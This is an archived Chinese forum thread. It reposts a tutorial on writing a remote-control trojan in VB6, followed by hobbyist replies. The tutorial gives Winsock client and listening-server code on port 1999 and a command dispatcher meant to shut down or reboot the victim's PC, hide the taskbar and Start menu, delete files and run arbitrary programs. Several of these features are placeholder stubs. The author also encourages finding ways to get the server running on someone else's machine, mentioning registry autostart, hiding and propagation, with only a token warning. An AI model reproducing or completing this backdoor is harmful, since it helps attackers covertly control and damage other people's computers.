口袋社区-Poke The BBS's Archiver

最美我中文 发表于 2007-8-19 18:38

[ZT]浅谈用VB6.0编写木马程序

--------------------------------------------------------------------------------
作者:不详  来源于:中国VB网  发布时间:2005-9-5
现在网络上流行的木马软件基本都是客户机/服务器模式也就是所谓的C/S结构,目前也有一些开始向B/S结构转变,在这里暂且不对B/S结构进行详谈,本文主要介绍C/S结构其原理就是在本机直接启动运行的程序拥有与使用者相同的权限。因此如果能够启动服务器端(即被攻击的计算机)的服务器程序,就可以使用相应的客户端工具客户程序直接控制它了。下面来谈谈如何用VB来实现它。
  

   首先使用VB建立两个程序,一个为客户端程序Client,一个为服务器端程序systry。

  

   在Client工程中建立一个窗体,加载WinSock控件,称为tcpClient,协议选择TCP,再加入两个文本框,用以输入服务器的IP地址或服务器名,然后建立一个按钮,按下之后就可以对连接进行初始化了,代码如下:

  

  Private Sub cmdConnect_Click()

   If Len(Text1.Text) = 0 And Len(Text2.Text) = 0 Then

   MsgBox ("请输入主机名或主机IP地址。")

   Exit Sub

   Else

   If Len(Text1.Text) > 0 Then

   tcpClient.RemoteHost = Text1.Text

   Else

   tcpClient.RemoteHost = Text2.Text

   End If

   End If

   tcpClient.Connect

   Timer1.Enabled = True

  End Sub

  

  连接建立之后就可以使用DataArrival事件处理所收到的数据了。

  

  在服务器端systry工程也建立一个窗体,加载WinSock控件,称为tcpServer,协议选择TCP,在Form_Load事件中加入如下代码:

  

  Private Sub Form_Load()

   tcpServer.LocalPort = 1999

   tcpServer.Listen

  End Sub

  

  准备应答客户端程序的请求连接,使用ConnectionRequest事件来应答户端程序的请求,代码如下:

  

  Private Sub tcpServer_ConnectionRequest

  (ByVal requestID As Long)

   If tcpServer.State < > sckClosed Then

   tcpServer.Close‘检查控件的 State 属性是否为关闭的。

   End If '如果不是,在接受新的连接之前先关闭此连接。

   tcpServer.Accept requestID

  End Sub

  

  这样在客户端程序按下了连接按钮后,服务器端程序的ConnectionRequest事件被触发,执行了以上的代码。如果不出意外,连接就被建立起来了。

  

  建立连接后服务器端的程序通过DataArrival事件接收客户机端程序所发的指令运行既定的程序。如:把服务器端的驱动器名、目录名、文件名等传到客户机端,客户机端接收后用TreeView控件以树状的形式显示出来,浏览服务器端文件目录;强制关闭或重启服务器端的计算机;屏蔽任务栏窗口;屏蔽开始菜单;按照客户机端传过来的文件名或目录名,而删除它;屏蔽热启动键;运行服务器端的任何程序;还包括获取目标计算机屏幕图象、窗口及进程列表;激活、终止远端进程;打开、关闭、移动远端窗口;控制目标计算机鼠标的移动与动作;交换远端鼠标的左右键;在目标计算机模拟键盘输入,下载、上装文件;提取、创建、修改目标计算机系统注册表关键字;在远端屏幕上显示消息。DataArrival事件程序如下:

  

  Private Sub tcpServer_DataArrival

  (ByVal bytesTotal As Long)

   Dim strData As String

   Dim i As Long

   Dim mKey As String

   tcpServer.GetData strData

  '接收数据并存入strData

   For i = 1 To Len(strData)

   '分离strData中的命令

   If Mid(strData, i, 1) = "@" Then

   mKey = Left(strData, i - 1)

   '把命令ID号存入mKey

  

   '把命令参数存入strData

   strData = Right(strData, Len(strData) - i)

   Exit For

   End If

   Next i

   Select Case Val(mKey)

   Case 1

   ‘驱动器名、目录名、文件名

   Case 2

   强制关闭服务器端的计算机

   Case 3

   强制重启服务器端的计算机

   Case 4

   屏蔽任务栏窗口;

   Case 5

   屏蔽开始菜单;

   Case 6

   按照客户机端传过来的文件名或目录名,而删除它;

   Case 7

   屏蔽热启动键;

   Case 8

   运行服务器端的任何程序

   End Select

  End Sub

  

  客户机端用tcpClient.SendData发命令。命令包括命令ID和命令参数,它们用符号“@”隔开。

  

  另外,当客户机端断开与服务器端的来接后,服务器端应用tcpServer_Close事件,来继续准备接收客户机端的请求,其代码如下:

  

  Private Sub tcpServer_Close()

   tcpServer.Close

   tcpServer.Listen

  End Sub
  

   这就是一个最基本的特洛伊木马程序,只要你的机器运行了服务器端程序,那别人就可以在千里之外控制你的计算机。至于如何让服务器端程序运行就要发挥你的聪明才智了,在我的源程序中有一中方法,是修改系统注册表的方法。 源代码下载
  
   成功的特洛伊木马程序要比这个复杂一些,还有程序的隐藏、自动复制、传播等问题要解决。警告:千万不要用来破坏别人的系统。

= =|||

深红喷火龙 发表于 2007-12-5 12:39

首先,以前没有注意到这个帖子真是太可惜了,没想到vb还做木马………………


其次,我对这个木马能否成功表示怀疑………………winsock,就是那个传说中的网络编程AX吧…………要是一般的网络对弈程序用这东西可以……这是木马,难道activeX的隐蔽性很强?
还有,木马程序讲究的是隐蔽,我仔细看了代码,居然看不到一个错误陷阱(有可能是眼花)……vb的东西够稳定……
(以上仅仅是我个人的看法,不同意的可以54)



你的那个select case 里面的各种功能除了 关闭计算机 之外我一个都不懂,究竟怎么实现的阿?




………………因该不算挖坟吧……………………

[[i] 本帖最后由 深红喷火龙 于 2007-12-5 12:41 PM 编辑 [/i]]

最美我中文 发表于 2007-12-5 13:07

转的。具体怎么实现的我也在研究。
挖坟放你一马。

深红喷火龙 发表于 2007-12-5 18:35

把你研究的成果放上来分享一下下吧[yct14][yct14][yct14][yct14][yct14]


话说今天中午学会了删除文件 …………







既然都挖开坟了,就继续挖吧[yct14][yct14]

最美我中文 发表于 2007-12-6 11:49

Kill参数么……很无聊的参数
还有dir和mkdir这两个。

深红喷火龙 发表于 2007-12-6 12:02

还有这种方法么?[yct15][yct15][yct15][yct15]



我用api[yct14][yct14]

最美我中文 发表于 2007-12-7 08:24

无聊,麻烦。
很多学VB的人连VB自身带的小参数都不会用就学api。

深红喷火龙 发表于 2007-12-7 13:12

函数说成参数,害得我一直二丈摸不着头脑[yct7][yct7][yct7]函数不是参数…………



vb也有很多功能强大的内置函数…………



话说屏蔽任务管理其怎么弄?我不知道怎么屏蔽,但是可以让服务器端计算机的任务管理器一运行就死机,很麻烦就是……


roy也领教过了[yct3][yct3]


还有PB开始菜单,热启动键是怎么弄的???[yct5][yct5][yct5][yct5]

[[i] 本帖最后由 深红喷火龙 于 2007-12-7 01:19 PM 编辑 [/i]]

liuyanghejerry 发表于 2007-12-8 13:36

原来是VB中国的,就说咋看着那么眼熟……MS很老的东西了

深红喷火龙 发表于 2007-12-13 13:21

现在我只想知道winsock 控件是否可以连接局域网之外的pc………………

roywillow 发表于 2008-1-1 20:50

删除文件……教教……最好单发一个帖子

dir……好熟悉,好像是Dos里察看所在目录文件的命令……这里是……?

深红喷火龙 发表于 2008-1-1 21:21

roy

帮我把暗棋搞定好不好…………

我侍候不了…………

sonansu 发表于 2008-1-24 22:28

学习[yct7]

最美我中文 发表于 2008-1-25 08:02

[quote]原帖由 [i]roywillow[/i] 于 2008-1-1 20:50 发表
删除文件……教教……最好单发一个帖子

dir……好熟悉,好像是Dos里察看所在目录文件的命令……这里是……? [/quote]
dir(path)

确定某文件在不在


删除
kill(path)

页: [1]

Powered by Discuz! Archiver 6.1.0F  © 2001-2007 Comsenz Inc.